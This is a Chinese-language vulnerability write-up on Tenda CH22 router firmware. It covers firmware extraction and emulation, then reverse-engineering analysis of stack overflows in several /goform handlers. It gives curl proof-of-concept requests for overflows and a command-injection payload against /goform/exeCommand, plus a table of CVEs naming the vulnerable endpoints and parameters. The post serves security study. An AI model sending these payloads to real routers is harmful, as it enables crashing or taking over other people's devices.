Tenda CH22多个漏洞分析
近期看到CVE上出现好多这个设备的漏洞,就看了一下,设备比较老,不是很复杂,适合新手入门
漏洞定位
从漏洞信息了解到,是通过网页配置访问到漏洞点的,直接分析http服务
提取httpd&仿真
binwalk一把梭
iot@iot:~$ binwalk US_CH22V1BR_CH22_V1.0.0.1_CN.bin -Me
iot@iot:~$ cd _US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/bin
iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/bin$ file httpd
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
qemu直接起
iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root$ cp /usr/bin/qemu-arm-static ./
iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-arm-static ./bin/httpd
IDA分析
根据字符串快速定位到路径处

这一段应该是做的路径解析,如果路径不存在则通过websFormHandler返回error,存在则在sub_2DB50中做跳转

这里不难看出,根据不同的路径会跳转到不同的解析里面,主要分为asp和非asp两类,找到位置就方便研究漏洞了
CVE-2025-9813
这里先拿CVE-2025-9813分析,根据漏洞描述这个漏洞在/goform/SetSambaConf下,通过操作samba_userNameSda溢出

根据描述漏洞就在这一块了,传入的参数为s_1,大小可控,v3为s_1的总长度,v4为s_1从*起到末尾的长度,也就是说原本的输入可能类似于username*password
在第60行s_1直接传给了s[256],导致溢出

同样的问题也出在下方,只不过需要用到:做分隔,溢出点dest[256]就不过多赘述了

PoC:
curl -i -X POST 'http://192.168.127.100/goform/SetSambaConf' -d "samba_userNameSda=$(python3 -c "print('A' * 300 + '*')")"
CVE-2025-12271
CVE-2025-12271的情况也是同理
从描述来看是需要利用/goform/RouteStatic中的page这个参数

在fromRouteStatic这个函数中与前者不同的是,此函数会先将entrys以及mitInterface的值传入sub_39798这个函数中,不过并不存在判断条件,所以还是可以直接触发漏洞
漏洞点在于sprinf前未对v6的长度做校验,直接拼接前面的路径传入s,如果写exp需要注意偏移量

PoC:
curl -i -X POST 'http://192.168.127.100/goform/RouteStatic' -d "page=$(python3 -c "print('A' *(300 - len('routing_static.asp?page=')))")"
此外,类似的page溢出还有很多,原理都是sprint未经校验直接拼接重定向url导致
CVE-2025-14526

PoC:
curl -i -X POST 'http://192.168.127.100/goform/L7Im' -d "page=$(python3 -c "print('A' *(300 - len('im.asp?page=%s')))")"
CVE-2025-9812
结合通告信息,很明显是有溢出

但实际上更大的问题在后面,可以使用;分隔实现命令注入
或许是由于使用的用户模式仿真,能够利用的函数较少,这里只贴个PoC没深入研究
PoC:
curl -X POST -d "cmdinput=ping 127.0.0.1 -c 3; pwd; ls; cd bin/; pwd; ls; " http://192.168.127.100/goform/exeCommand

栈溢出漏洞列表
类似的漏洞还有很多,这里贴一张列表
| CVE ID | 接口路径 | 关键参数 | 描述 |
|---|---|---|---|
| CVE-2025-9813 | /goform/SetSambaConf | samba_userNameSda | formSetSambaConf 函数处理用户输入时未检查长度,导致栈溢出。 |
| CVE-2025-9812 | /goform/exeCommand | cmdinput | formexeCommand 函数处理命令输入时发生缓冲区溢出,风险极高(可能涉及命令注入)。 |
| CVE-2025-9748 | /goform/IPSECsave | ipsecno | fromIpsecitem 函数处理 IPSec 配置时存在溢出。 |
| CVE-2025-9443 | /goform/editUserName | new_account | formeditUserName 函数修改用户账户时发生溢出。 |
| CVE-2025-9007 | /goform/editFileName | (未指定) | formeditFileName 函数编辑文件名时存在溢出。 |
| CVE-2025-9006 | /goform/delFileName | (未指定) | formdelFileName 函数删除文件时存在溢出。 |
| CVE-2025-8180 | /goform/deleteUserName | (未指定) | formdeleteUserName 函数删除用户时存在溢出。 |
| CVE-2025-5685 | /goform/Natlimit | page | formNatlimit 函数处理分页参数时存在溢出。 |
| CVE-2025-5619 | /goform/addUserName | Password | formaddUserName 函数添加用户(处理密码)时存在溢出。 |
| CVE-2025-14526 | /goform/L7Im | page | frmL7ImForm 函数处理分页参数时存在溢出。 |
| CVE-2025-13400 | /goform/WrlExtraGet | chkHz | formWrlExtraGet 函数处理频率检查参数时存在溢出。 |
| CVE-2025-13288 | /goform/PPTPUserSetting | delno | fromPptpUserSetting 函数处理删除编号参数时存在溢出。 |
| CVE-2025-12322 | /goform/NatStaticSetting | page | fromNatStaticSetting 函数处理分页参数时存在溢出。 |
| CVE-2025-12274 | /goform/P2pListFilter | page | fromP2pListFilter 函数处理分页参数时存在溢出。 |
| CVE-2025-12273 | /goform/webExcptypemanFilter | page | fromwebExcptypemanFilter 函数处理分页参数时存在溢出。 |
| CVE-2025-12272 | /goform/addressNat | page | fromAddressNat 函数处理分页参数时存在溢出。 |
| CVE-2025-12271 | /goform/RouteStatic | page | fromRouteStatic 函数处理分页参数时存在溢出。 |
| CVE-2025-12265 | /goform/VirtualSer | page | fromVirtualSer 函数处理分页参数时存在溢出。 |
| CVE-2025-12236 | /goform/DhcpListClient | page | fromDhcpListClient 函数处理分页参数时存在溢出(与 15229 不同参数)。 |
| CVE-2025-12235 | /goform/SetIpBind | page | fromSetIpBind 函数处理分页参数时存在溢出。 |
| CVE-2025-12234 | /goform/SafeMacFilter | page | fromSafeMacFilter 函数处理分页参数时存在溢出。 |
| CVE-2025-12233 | /goform/SafeUrlFilter | page | fromSafeUrlFilter 函数处理分页参数时存在溢出。 |
| CVE-2025-12232 | /goform/SafeClientFilter | page | fromSafeClientFilter 函数处理分页参数时存在溢出。 |
| CVE-2025-11117 | /goform/GstDhcpSetSer | dips | (注:描述函数为 formWrlExtraGet) 处理 DHCP 设置时发生溢出。 |
本文章同时发布于看雪论坛
https://bbs.kanxue.com/thread-289685.htm